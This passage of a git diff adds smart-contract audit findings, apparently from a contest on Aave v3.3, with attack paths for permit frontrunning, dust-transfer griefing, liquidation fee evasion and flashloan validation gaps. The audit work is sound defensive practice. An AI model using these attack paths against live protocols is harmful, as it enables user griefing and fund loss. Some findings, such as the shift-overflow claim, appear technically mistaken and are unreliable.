initially holds 1,000 USDC. + - Simulates the `rescueTokens` call by the admin to rescue all 1,000 USDC. + - Asserts that the recipient receives the 1,000 USDC. + - Validates that the contract's balance of USDC is reduced to zero, leaving it without reserves. + +3. **Outcome:** + - This test highlights the vulnerability by showing that the admin can transfer all tokens without any validation, leaving the contract devoid of reserves. + + + + +#### **Recommended Mitigation** +To address this vulnerability, the following changes are recommended: + +1. **Validate the `amount` Parameter**: + Add logic to ensure that the `amount` parameter does not exceed a predefined limit or percentage of the token's balance in the contract. + + Example: + ```solidity + require(amount <= token.balanceOf(address(this)) / 10, "Exceeds rescue limit"); + ``` + +2. **Restrict Token Types**: + Maintain a whitelist or blacklist of tokens that can be rescued. For instance, reserve tokens critical to the protocol’s functionality should not be rescueable. + +3. **Review by Multi-Sig**: + Require additional checks, such as approvals by multiple administrators, before executing the `rescueTokens` function. + +By implementing these measures, the protocol can significantly reduce the risk of abuse or accidental mismanagement while retaining the ability to rescue tokens when necessary. \ No newline at end of file diff --git a/063.md b/063.md new file mode 100644 index 0000000..a960850 --- /dev/null +++ b/063.md @@ -0,0 +1,101 @@ +Tiny Licorice Loris + +Medium + +# Malicious actors can always DOS `WrappedTokenGatewayV3.withdrawETHWithPermit()` by frontrunning and calling permit() + +### Summary + +`aWETH.permit()` call within `WrappedTokenGatewayV3.withdrawETHWithPermit()` will DOS the tx if it is frontrun with direct permit(). +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L140 +```solidity + function withdrawETHWithPermit( + address, + uint256 amount, + address to, + uint256 deadline, + uint8 permitV, + bytes32 permitR, + bytes32 permitS + ) external override { + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + uint256 amountToWithdraw = amount; + + // if amount is equal to type(uint256).max, the user wants to redeem everything + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + // permit `amount` rather than `amountToWithdraw` to make it easier for front-ends and integrators + aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS);//@audit-issue DOS by frontrunning with direct permit() https://www.trust-security.xyz/post/permission-denied + aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); + POOL.withdraw(address(WETH), amountToWithdraw, address(this)); + WETH.withdraw(amountToWithdraw); + _safeTransferETH(to, amountToWithdraw); + } +``` + +### Root Cause + +`aWETH.permit()` call is supposed to be used via try-catch so that even if `WrappedTokenGatewayV3.withdrawETHWithPermit()` is frontrun by an attacker by directly calling permit() with the ERC712 permit sig there won't be a revert but it is not. + +The root cause of this DOS is that the `aWETH.permit()` isn't used in a try-catch. So attackers can always cause reverts by calling permit() directly. using up the nonce + +```solidity + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external override { + require(owner != address(0), Errors.ZERO_ADDRESS_NOT_VALID); + //solium-disable-next-line + require(block.timestamp <= deadline, Errors.INVALID_EXPIRATION); + uint256 currentValidNonce = _nonces[owner]; + bytes32 digest = keccak256( + abi.encodePacked( + '\x19\x01', + DOMAIN_SEPARATOR(), + keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline)) + ) + ); + require(owner == ecrecover(digest, v, r, s), Errors.INVALID_SIGNATURE); + _nonces[owner] = currentValidNonce + 1; + _approve(owner, spender, value); + } + +``` + +Extra context: https://www.trust-security.xyz/post/permission-denied + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + + Tx needs to happen in a chain where frontrunning is possible. e.g ETH, Avalanche e.t.c + +### Attack Path + +1. User calls `WrappedTokenGatewayV3.withdrawETHWithPermit()` +2. Attacker front-runs the tx, calling permit() directly with the ERC712 permit sig of the user. This will use up user's nonce. +```solidity +nonces[owner] = currentValidNonce + 1; +``` +3. User's nonce is used up, causing reverts in his transaction. +### Impact + +User's can always be prevented from withdrawing their ETH via `WrappedTokenGatewayV3.withdrawETHWithPermit()` by simply frontrunning their tx and calling permit() directly with their ERC712 permit sig. + +This can be done all the time indefinitely at no cost...All it cost is gas fees +### PoC + +_No response_ + +### Mitigation + +Wrap the `aWETH.permit()` call within `WrappedTokenGatewayV3.withdrawETHWithPermit() in a try-catch \ No newline at end of file diff --git a/064.md b/064.md new file mode 100644 index 0000000..04961d2 --- /dev/null +++ b/064.md @@ -0,0 +1,122 @@ +Tiny Licorice Loris + +Medium + +# Malicious actors can prevent `executeMintUnbacked()` from setting minted Atokens as collateral for first time supply users. + +### Summary + +returned `isFirstSupply` bool relies on users Atoken balance. A malicious user can transfer a minuscule amount of Atokens to user who is just minting Atokens via `BridgeLogic.executeMintUnbacked()` for the first time... preventing the function from setting minted Atokens as collateral for the user. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L85-L105 + +### Root Cause + +The root cause of this issue can be found in `ScaledBalanceTokenBase._mintScaled()` which is used by `Atoken.mint()`. In the function, the returned boolean value depends on the balance of the user whom the tokens are being minted for. + +```solidity + function _mintScaled( + address caller, + address onBehalfOf, + uint256 amount, + uint256 index + ) internal returns (bool) { + uint256 amountScaled = amount.rayDiv(index); + require(amountScaled != 0, Errors.INVALID_MINT_AMOUNT); + + uint256 scaledBalance = super.balanceOf(onBehalfOf);//@audit + uint256 balanceIncrease = scaledBalance.rayMul(index) - + scaledBalance.rayMul(_userState[onBehalfOf].additionalData); + + _userState[onBehalfOf].additionalData = index.toUint128(); + + _mint(onBehalfOf, amountScaled.toUint128()); + + uint256 amountToMint = amount + balanceIncrease; + emit Transfer(address(0), onBehalfOf, amountToMint); + emit Mint(caller, onBehalfOf, amountToMint, balanceIncrease, index); + + return (scaledBalance == 0); + } + +``` + +so if scaledBalance != 0 for any reason, `isFirstSupply` will be false + +```solidity + function mint( + address caller, + address onBehalfOf, + uint256 amount, + uint256 index + ) external virtual override onlyPool returns (bool) { + return _mintScaled(caller, onBehalfOf, amount, index); + } +``` + +This will prevent `BridgeLogic.executeMintUnbacked()` from setting the minted Atokens as collateral for the user even though it is his first time minting. + +```solidity + bool isFirstSupply = IAToken(reserveCache.aTokenAddress).mint(//@audit-issue `executeMintUnbacked()` can fail to `setUsingAsCollateral()` for first-time supply user. (A malicious user can prevent this by transferring a very minuscule amount to `onBehalfOf`) + msg.sender, + onBehalfOf, + amount, + reserveCache.nextLiquidityIndex + ); + + if (isFirstSupply) { + if ( + ValidationLogic.validateAutomaticUseAsCollateral( + reservesData, + reservesList, + userConfig, + reserveCache.reserveConfiguration, + reserveCache.aTokenAddress + ) + ) { + userConfig.setUsingAsCollateral(reserve.id, true); + emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); + } + } + + emit MintUnbacked(asset, msg.sender, onBehalfOf, amount, referralCode); + } +``` + +A malicious user can transfer a minuscule amount of Atokens to user who is just minting Atokens via `BridgeLogic.executeMintUnbacked()` for the first time... preventing the function from setting minted Atokens as collateral for the user. + +### Internal Pre-conditions + +1. Atokens need to be transferrable. Which they are https://aave.com/docs/developers/smart-contracts/tokenization#atoken + + + +### External Pre-conditions + +1. User is indeed minting Atokens for the first time +2. Attacker needs to be able to monitor the user.. either via observing the mempool and frontrunning users tx or knowing user in person. + +### Attack Path + +1. A user Alice is minting Atokens for the first time via `BridgeLogic.executeMintUnbacked()` +2. Attacker notices and sends Alice a minuscule amount of the Atoken(e.g 1 cent of the token)... so that Alice's balance will != 0 +3. `BridgeLogic.executeMintUnbacked()` will fail to set minted Atokens as collateral for Alice even though it is her first time of minting collaterals via the function + +### Impact + +Attacker can prevent Atokens minted for users via `BridgeLogic.executeMintUnbacked()` for the first time from being used as collateral for the users. + +The minted Atokens wont be used as collateral + +### PoC + +_No response_ + +### Mitigation + +To determine if a user is minting Atokens for the first time don't depend on user's balance. + +You can use the same method used for 'initialized'....where it is set on first call and recorded per user + + +External parties can influence the balance of tokens. \ No newline at end of file diff --git a/065.md b/065.md new file mode 100644 index 0000000..47d3df2 --- /dev/null +++ b/065.md @@ -0,0 +1,82 @@ +Tiny Licorice Loris + +Medium + +# Protocol can be made to lose out on liquidation fees all the time. + +### Summary + +Users being liquidated can reduce their collateral balance to 0.. Whenever collateral Balance = 0. calculation for liquidation fee results in 0 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L650-L679 +### Root Cause + +Checking `LiquidationLogic._calculateAvailableCollateralToLiquidate()` which is used to calculate `liquidationProtocolFee` amongst other things. + +```solidity + if (vars.maxCollateralToLiquidate > userCollateralBalance) { + vars.collateralAmount = userCollateralBalance; + vars.debtAmountNeeded = ((vars.collateralAssetPrice * vars.collateralAmount * debtAssetUnit) / + (debtAssetPrice * collateralAssetUnit)).percentDiv(liquidationBonus); + } else { + vars.collateralAmount = vars.maxCollateralToLiquidate; + vars.debtAmountNeeded = debtToCover; + } + + vars.collateralToLiquidateInBaseCurrency = + (vars.collateralAmount * vars.collateralAssetPrice) / + collateralAssetUnit; + + if (vars.liquidationProtocolFeePercentage != 0) { + vars.bonusCollateral = + vars.collateralAmount - + vars.collateralAmount.percentDiv(liquidationBonus); + + vars.liquidationProtocolFee = vars.bonusCollateral.percentMul( + vars.liquidationProtocolFeePercentage + ); + vars.collateralAmount -= vars.liquidationProtocolFee; + } + return ( + vars.collateralAmount, + vars.debtAmountNeeded, + vars.liquidationProtocolFee, + vars.collateralToLiquidateInBaseCurrency + ); + } +``` + +It is observed that if `userCollateralBalance` == 0 , the calculation for so many things of which `liquidationProtocolFee` is among will result in 0. + +So whenever a user deliberately reduces his collateral to 0 especially when he knows that he is about to be liquidated, Protocol will lose out on liquidation fees. + +### Internal Pre-conditions + +1. calculation for liquidationProtocolFee relies on user-to-be-liquidated's collateral balance. + +### External Pre-conditions + +1. user reduces his collateral to 0 when his position is liquidatable + +### Attack Path + +1. User takes positions +2. user's position turns unhealthy and becomes liquidatable +3. user transfers out all his collateral balance reducing it to 0 +4. user's position is liquidated but protocol loses out on liquidation fees. + +### Impact + +Protocol can be made to lose out on liquidation fees all the time. + +### PoC + +_No response_ + +### Mitigation + +Use a locking system for user's collaterals. + +That way in situations of liquidation, there's no risk that the user can deliberately reduce his collateral balance to 0. + +Using a locking system for user's collateral will ensure that liquidator's will receive incentives most times and protocol won't be made to lose out on fees deliberately by malicious users \ No newline at end of file diff --git a/066.md b/066.md new file mode 100644 index 0000000..6410dec --- /dev/null +++ b/066.md @@ -0,0 +1,106 @@ +Tiny Licorice Loris + +Medium + +# Allowing partial liquidations when all of user's collateral balance will be consumed will create false bad debts. + +### Summary + +`actualDebtToLiquidate` will not == `userReserveDebt` in partial liquidations even when all of user's collateral balance will be consumed in the liquidation +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L546 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L551 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L580 + +### Root Cause + +The root cause of this issue is that whenever `vars.totalCollateralInBaseCurrency` == `vars.collateralToLiquidateInBaseCurrency` in `LiquidationLogic.executeLiquidationCall()`, `hasNoCollateralLeft` is set to true + +```solidity + bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == + vars.collateralToLiquidateInBaseCurrency; +``` + +Now when `_burnDebtTokens()` is called and `hasNoCollateralLeft` is true, _all of user's debt is burnt_ (`userReserveDebt`). + +```solidity + function _burnDebtTokens( + DataTypes.ReserveCache memory debtReserveCache, + DataTypes.ReserveData storage debtReserve, + DataTypes.UserConfigurationMap storage userConfig, + address user, + address debtAsset, + uint256 userReserveDebt, + uint256 actualDebtToLiquidate, + bool hasNoCollateralLeft + ) internal { + // Prior v3.1, there were cases where, after liquidation, the `isBorrowing` flag was left on + // even after the user debt was fully repaid, so to avoid this function reverting in the `_burnScaled` + // (see ScaledBalanceTokenBase contract), we check for any debt remaining. + if (userReserveDebt != 0) { + debtReserveCache.nextScaledVariableDebt = IVariableDebtToken( + debtReserveCache.variableDebtTokenAddress + ).burn( + user, + hasNoCollateralLeft ? userReserveDebt : actualDebtToLiquidate,//@audit + debtReserveCache.nextVariableBorrowIndex + ); + } + +``` +The issue lies in how `outstandingDebt` is calculated. +```solidity + uint256 outstandingDebt = userReserveDebt - actualDebtToLiquidate;//@audit-issue partial liquidations can create false bad debts. (happens if partial liquidations is attempted on a user whose whole collateral will be consumed on liquidation.) +``` +if liquidation is a partial one, `actualDebtToLiquidate` which is liquidator's specified debt to cover won't == `userReserveDebt`. Now although all of user's debt(`userReserveDebt`) was burnt and taken care of, `outstandingDebt` will !=0 which is wrong. + +The wrong and false `outstandingDebt` will be added to `debtReserve.deficit` + +**Here's a more vivid explanation:** +- Total of Ben's debt(userReserveDebt) is == 1000$ + +- Ben's position is liquidatable, so i decide to liquidate 500$ for him.(actualDebtToLiquidate) (Partial liquidation) + +- Now the liquidation will consume all of Ben's collateral, so `hasNoCollateralLeft` is set to true + +- when `_burnDebtTokens()` is called, since hasNoCollateralLeft is true, Ben's 1000$ is burnt +```solidity +if (userReserveDebt != 0) { + debtReserveCache.nextScaledVariableDebt = IVariableDebtToken( + debtReserveCache.variableDebtTokenAddress + ).burn( + user, + hasNoCollateralLeft ? userReserveDebt : actualDebtToLiquidate,//@audit + debtReserveCache.nextVariableBorrowIndex + ); +``` + +- When `outstandingDebt` is calculated, my 500$(actualDebtToLiquidate) is deducted from the Total of Ben's debt(userReserveDebt) which is 1000$.. leaving `outstandingDebt` as 500$ when in reality the whole 1000$ was burnt. + + + +### Internal Pre-conditions + +1. `vars.totalCollateralInBaseCurrency` needs to == `vars.collateralToLiquidateInBaseCurrency` in `LiquidationLogic.executeLiquidationCall()`, so `hasNoCollateralLeft` is set to true + + +### External Pre-conditions + +1. Liquidation needs to be a partial liquidation. + +### Attack Path + +_No response_ + +### Impact + +Allowing partial liquidations when all of user's collateral balance will be consumed will create false bad debts. + +This will make Umbrella lose money by spending it on eliminating false bad debts and reserve deficits + +### PoC + +_No response_ + +### Mitigation + +whenever liquidations will consume all of user's collateral balance don't allow partial liquidations \ No newline at end of file diff --git a/068.md b/068.md new file mode 100644 index 0000000..44f211e --- /dev/null +++ b/068.md @@ -0,0 +1,58 @@ +Amusing Silver Tadpole + +Medium + +# Lack of Input Validation for Empty Arrays in validateFlashloan Function + +**Affected Line of Code:** https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L333-L345 + +### Summary +The `validateFlashloan` function fails to revert when provided with empty arrays for `assets` and `amounts`, which can lead to unintended behavior or incorrect function execution. + +*Severity:* Medium +I*mpact:* Medium +*Likelihood:* Low to Medium + +### Finding Description +The `validateFlashloan` function does not handle the case where the `assets` or `amounts` arrays are empty. Although the function checks that the lengths of the arrays match, it does not verify that the arrays are non-empty. This can result in the function proceeding without the necessary validation or revert, potentially allowing for faulty operations or incorrect contract behavior. + +This issue can lead to the function executing incorrectly with invalid or empty input, potentially causing issues in the flow of the contract or allowing for exploitation by malicious actors to manipulate the flashloan process. + +### Impact Explanation +The failure to revert when empty arrays are provided breaks the contract's ability to ensure valid input and prevents the function from properly rejecting invalid flashloan requests. The absence of a revert in this scenario can cause the function to continue executing, leading to potentially faulty operations and invalid flashloan transactions. This impacts the correctness and reliability of the contract. + +### Severity: Medium +The issue is critical enough to cause logical errors in the contract but does not directly lead to catastrophic failures or vulnerabilities such as loss of funds or immediate exploits. It does, however, break the intended logic and could have adverse effects if not fixed. + +### Likelihood Explanation +The likelihood of this bug being exploited depends on the nature of the contract's usage. If empty arrays are provided by mistake or as part of a faulty interaction, the contract may fail to properly handle the invalid input. A malicious actor could exploit this flaw by providing empty arrays, potentially causing unexpected behavior. However, it is relatively unlikely that this would occur without direct interaction with the contract’s functions. + +### Proof of Concept +Here is the test that demonstrates the failure of the contract when empty arrays are provided: + +```solidity +function testEmptyArrays() public { + address[] memory assets; + uint256[] memory amounts; + // Expect revert due to empty arrays + vm.expectRevert("INCONSISTENT_FLASHLOAN_PARAMS"); + // Call the validateFlashloan function from the ValidationLogic library on the reservesData mapping + reservesData.validateFlashloan(assets, amounts); // Call on the correct mapping +} +``` +**Test Result:** + +```solidity +[FAIL: next call did not revert as expected] testEmptyArrays() (gas: 3261) +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 52.78ms (38.01ms CPU time) +``` +The test shows that the function does not revert as expected when empty arrays are passed, causing the test to fail. + +### Recommendation +To fix this issue, the function should explicitly check for empty arrays before proceeding with any other operations. Adding a condition to ensure that both arrays are non-empty would prevent this behavior. Here is a possible fix: + +```solidity +require(assets.length > 0, Errors.EMPTY_FLASHLOAN_PARAMS); +require(amounts.length > 0, Errors.EMPTY_FLASHLOAN_PARAMS); +``` +This ensures that the function will revert immediately if either of the arrays is empty, preventing faulty execution. \ No newline at end of file diff --git a/069.md b/069.md new file mode 100644 index 0000000..97aa22a --- /dev/null +++ b/069.md @@ -0,0 +1,70 @@ +Glamorous Plum Baboon + +High + +# Potential Overflow in Shift Operations + +### Summary +The usage of masks and constants such as `MAX_VALID_BORROW_CAP` and `MAX_VALID_SUPPLY_CAP` involves large bit shift operations that may result in overflows. These overflows could compromise the contract's intended behavior, especially if the values are improperly validated or altered during future code changes. + + +### Description +Bit shift operations (`<<`, `>>`) are used to manipulate binary representations of data, often for setting or extracting specific bits. In this codebase, masks and constants leverage large bit shifts for encoding limits. If these operations exceed the maximum allowable value for their respective data types (e.g., `uint256`), they can result in overflows. Such overflows can lead to incorrect values being used in calculations or stored, potentially introducing security vulnerabilities or operational inconsistencies. + +Without validation to ensure the safety of bitwise operations and boundary conditions, future changes to constants or the introduction of new logic could unintentionally trigger this issue. Additionally, the absence of robust tests to capture regressions could lead to undetected issues during development. + +### Root Cause +The root cause lies in the improper handling or validation of bit shift operations when defining masks or constants. For example: + +```solidity +uint256 constant MAX_VALID_BORROW_CAP = 1 << 256; // Unsafe: Shifts beyond uint256 boundaries +uint256 constant MAX_VALID_SUPPLY_CAP = 1 << 255; // Unsafe if misused or altered +``` +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L12-L65 + +Improper use of masks and bit positions in setter functions like setLtv, setLiquidationThreshold, and others +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L73-L77 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L93-L102 + + + + +### Impact +1. **Overflow Risks**: Overflows in shift operations can corrupt data representations, leading to incorrect results in contract logic. +2. **Operational Errors**: Limits such as borrow caps or supply caps could be improperly calculated, resulting in unintended behaviors (e.g., allowing excess borrowing or supply). +3. **Security Vulnerabilities**: Malicious actors could potentially exploit improper boundaries, leveraging the overflowed values to manipulate contract behavior. + + +### Proof of Concept (PoC) +Consider the following snippet: + +```solidity +// Current implementation +uint256 constant MAX_VALID_BORROW_CAP = 1 << 256; // Causes overflow to 0 +uint256 constant MAX_VALID_SUPPLY_CAP = 1 << 255; // Valid in uint256 but risky if misused +``` + +A test case demonstrating overflow: + +```solidity +function testOverflowInShiftOperations() public { + uint256 borrowCap = 1 << 256; // This overflows to 0 + assert(borrowCap == 0); // Assertion passes, showing overflow +} +``` + +This could lead to bypasses in contract logic where `MAX_VALID_BORROW_CAP` is used for boundary checks. + + +### Recommended Mitigation +1. **Validation of Shift Operations**: Ensure that bit shifts are within the valid range for the target data type (e.g., `uint256` or `uint8`). For instance: + ```solidity + require(shiftAmount < 256, "Shift amount exceeds uint256 boundary"); + ``` +2. **Use Safe Constants**: Avoid relying on hardcoded shifts that might overflow. Instead, calculate constants safely: + ```solidity + uint256 constant MAX_VALID_BORROW_CAP = type(uint256).max >> 1; // Avoids overflow + ``` + +By addressing these issues, the contract will mitigate the risks associated with bit shift operations, ensuring safer and more predictable behavior. \ No newline at end of file diff --git a/070.md b/070.md new file mode 100644 index 0000000..188d900 --- /dev/null +++ b/070.md @@ -0,0 +1,83 @@ +Glamorous Plum Baboon + +Medium + +# Improper Use of `uint256` for Booleans + +### **Summary** +Certain functions (`setActive`, `setFrozen`, and `setPaused`) use `uint256` variables to represent boolean values. This design choice introduces potential risks as values other than `0` or `1` can lead to unexpected behavior. Specifically, invalid values such as `2` or other non-zero integers could cause logical errors in the contract. + + +### **Description** +The ReserveConfiguration contract utilizes `uint256` variables to represent boolean states, which is unnecessary and introduces risk. For instance, the following logic is applied to set the state of the `active` flag: +```solidity +(uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); +``` +The use of a `uint256` here for a boolean is not only non-intuitive but can lead to issues where the value is mistakenly set to something other than `0` or `1`. A malicious actor or a logical flaw in the contract could exploit this design choice, leading to unexpected outcomes or undefined behavior. + + +### **Root Cause** +Improper representation of boolean states using `uint256` variables. + +**Line of Code (LoC) where it occurs:** +```solidity +(uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); +``` + +Affected functions: +i, `setActive` +ii, `setFrozen` +iii, `setPaused` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L172-L176 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L192-L196 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L212-L217 + + +### **Impact** +The primary impact of this issue is undefined or unexpected behavior of the contract when invalid values (e.g., `2` or greater) are used for state flags. This could result in: +i, Incorrect state transitions. +ii, Logical flaws in the execution of dependent functions. +iii, Potential vulnerabilities for malicious actors to exploit the unexpected behavior of the contract. + + +### **Proof of Concept (PoC)** +Below is a simplified demonstration of the potential issue: +```solidity +contract StateTest { + uint256 public state; + + function setActive(uint256 value) public { + // Expecting only 0 or 1, but no validation is done + state = value; + } + + function isActive() public view returns (bool) { + // Returns true for any non-zero value, including invalid ones like 2 + return state != 0; + } +} + +// PoC +StateTest test = new StateTest(); +test.setActive(2); // Invalid value +require(test.isActive() == true, "Invalid state accepted"); +``` + + +### **Recommended Mitigation** +To avoid this issue, it is recommended to explicitly use the `bool` type for boolean flags instead of `uint256`. This approach eliminates the risk of invalid values being used. + +Example mitigation: +```solidity +function setActive(bool active) public { + uint256 state = active ? 1 : 0; + // Use explicit boolean checks +} +``` + +Additionally, the contract should: +1. Validate input values for functions that depend on these flags to ensure only `0` or `1` is accepted. +2. Add consistent comments explaining the bit layout and purpose of each mask for clarity and maintainability. \ No newline at end of file diff --git a/071.md b/071.md new file mode 100644 index 0000000..dcbcb49 --- /dev/null +++ b/071.md @@ -0,0 +1,97 @@ +Glamorous Plum Baboon + +Medium + +# Insufficient Validation in Flashloan Parameters + +### Summary + +The `ValidationLogic:validateFlashloan` function in lacks sufficient validation for the parameters passed during a flashloan call. Specifically, the function does not check whether the loan amount for each asset (`amounts[i]`) is greater than zero or if the supplied assets (`assets[i]`) are valid reserve assets in the contract's `reservesData`. + +--- + +### Description + +The function `validateFlashloan` currently includes a basic check to ensure the consistency of array lengths for `assets` and `amounts` using the following line: + +```solidity +require(assets.length == amounts.length, Errors.INCONSISTENT_FLASHLOAN_PARAMS); +``` + +However, the function does not validate the following critical conditions: +1. **Non-zero Loan Amounts:** The contract does not verify that `amounts[i] > 0`, potentially allowing a flashloan call with zero amounts. This could lead to unnecessary gas consumption or unexpected contract behavior. +2. **Asset Validity:** The contract does not confirm that the assets specified in the `assets` array exist as valid reserve assets within the `reservesData` mapping. An invalid or unrecognized asset could cause issues downstream in the flashloan logic. + +Both of these missing validations expose the contract to potential misuse or unintended outcomes. + +--- + +### Root Cause + +The root cause is the insufficient validation of parameters within the `validateFlashloan` function. Specifically, the following checks are missing: + +1. Verification that `amounts[i] > 0` for all `i`. +2. Verification that `assets[i]` exists within the `reservesData` mapping. + +Relevant code snippet: + +```solidity +require(assets.length == amounts.length, Errors.INCONSISTENT_FLASHLOAN_PARAMS); +``` + +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L333-L345 +--- + +### Impact + +- **Gas Wastage:** Allowing zero loan amounts leads to gas being consumed for flashloan requests that serve no real purpose. +- **Potential Exploits:** The absence of asset validity checks increases the risk of erroneous behavior or contract execution failures if invalid assets are passed as parameters. +- **Degraded User Experience:** Malfunctioning flashloan operations could reduce user trust in the platform and its security measures. + +--- + +### Proof of Concept (PoC) + +The following example demonstrates how the current implementation can be exploited: + +1. Call the `flashloan` function with the following parameters: + ```solidity + assets = [0x0000000000000000000000000000000000000000]; // Invalid asset + amounts = [0]; // Zero amount + ``` +2. The call will pass the current `validateFlashloan` check since the lengths of `assets` and `amounts` match, but the logic downstream could fail due to the invalid parameters. + +--- + +### Recommended Mitigation + +To fix the issue, add the following checks to the `validateFlashloan` function: + +1. Verify that each amount is greater than zero: + ```solidity + require(amounts[i] > 0, Errors.INVALID_FLASHLOAN_AMOUNT); + ``` + +2. Ensure that each asset is a valid reserve asset in `reservesData`: + ```solidity + require(reservesData[assets[i]].isActive, Errors.INVALID_RESERVE_ASSET); + ``` + +Revised `validateFlashloan` function: +```solidity +function validateFlashloan(address[] memory assets, uint256[] memory amounts) internal view { + require(assets.length == amounts.length, Errors.INCONSISTENT_FLASHLOAN_PARAMS); + + for (uint256 i = 0; i < assets.length; i++) { + require(amounts[i] > 0, Errors.INVALID_FLASHLOAN_AMOUNT); + require(reservesData[assets[i]].isActive, Errors.INVALID_RESERVE_ASSET); + } +} +``` + +By implementing these additional checks, the contract will enforce stricter validation on flashloan parameters, thereby improving security and preventing misuse. + +--- + +This mitigation ensures that the contract is safeguarded against the risks identified and enforces better parameter integrity for flashloan operations. \ No newline at end of file diff --git a/072.md b/072.md new file mode 100644 index 0000000..04a595d --- /dev/null +++ b/072.md @@ -0,0 +1,114 @@ +Glamorous Plum Baboon + +Medium + +# Improper Enforcement of `interestRateMode + +### **Summary** + +The `validateBorrow` and `validateRepay` functions enforce the use of `InterestRateMode.VARIABLE` by explicitly restricting the `interestRateMode` to `VARIABLE`. This approach implicitly assumes that fixed interest rate borrowing is disabled, which may unnecessarily restrict legitimate use cases where fixed interest rates could be supported. + +--- + +### **Description** + +In the `validateBorrow` and `validateRepay` functions, the following check enforces that only `InterestRateMode.VARIABLE` is allowed: + +```solidity +require( + params.interestRateMode == DataTypes.InterestRateMode.VARIABLE, + Errors.INVALID_INTEREST_RATE_MODE_SELECTED +); +``` + +This requirement prevents the selection of `InterestRateMode.STABLE` for borrowing or repaying, potentially limiting the flexibility of the protocol. While this may align with the current design choice of the system, it fails to accommodate scenarios where both variable and stable interest rate borrowing might be enabled in the future or in specific configurations. + +By hardcoding this restriction, the code assumes that fixed interest rate borrowing is permanently disabled. Such rigid enforcement could hinder adaptability and limit the protocol’s ability to support diverse use cases. + +--- + +### **Root Cause** + +The root cause lies in the explicit enforcement of `InterestRateMode.VARIABLE` in the following lines of code: + + `ValidationLogic:validateBorrow` + +```solidity +require( + params.interestRateMode == DataTypes.InterestRateMode.VARIABLE, + Errors.INVALID_INTEREST_RATE_MODE_SELECTED +); +``` + +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L168-L173 +--- + + `ValidationLogic:validateRepay` + +```solidity +require( + params.interestRateMode == DataTypes.InterestRateMode.VARIABLE, + Errors.INVALID_INTEREST_RATE_MODE_SELECTED +); +``` + +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L287-L298 + + +--- +### **Impact** + +The impact of this issue is **medium**, as it limits the protocol's flexibility and potential use cases. While the current design might intentionally restrict fixed interest rate borrowing, such enforcement eliminates the possibility of enabling both modes in future configurations or deployments without modifying the code. + +This limitation could lead to missed opportunities for supporting diverse borrower preferences and adapting to changing market demands. + +--- + +### **Proof of Concept (PoC)** + +1. Attempt to borrow with `InterestRateMode.STABLE`: + +```solidity +params.interestRateMode = DataTypes.InterestRateMode.STABLE; +validateBorrow(params); +// Transaction fails with INVALID_INTEREST_RATE_MODE_SELECTED error. +``` + +2. Attempt to repay with `InterestRateMode.STABLE`: + +```solidity +params.interestRateMode = DataTypes.InterestRateMode.STABLE; +validateRepay(params); +// Transaction fails with INVALID_INTEREST_RATE_MODE_SELECTED error. +``` + +These examples demonstrate how the current implementation explicitly rejects fixed interest rate usage, even if such a feature might be desired in the future. + +--- + +### **Recommended Mitigation** + +Refactor the `validateBorrow` and `validateRepay` functions to allow both `InterestRateMode.VARIABLE` and `InterestRateMode.STABLE`, unless explicitly restricted by protocol configuration. This change can be implemented by checking against a configurable parameter. + +#### Suggested Code Fix: + +Add a configuration parameter to enable or disable fixed interest rate mode. Modify the `require` statements as follows: + +```solidity +require( + params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || + params.interestRateMode == DataTypes.InterestRateMode.STABLE, + Errors.INVALID_INTEREST_RATE_MODE_SELECTED +); + +// Optionally, enforce restrictions via configuration: +require( + (params.interestRateMode == DataTypes.InterestRateMode.STABLE && 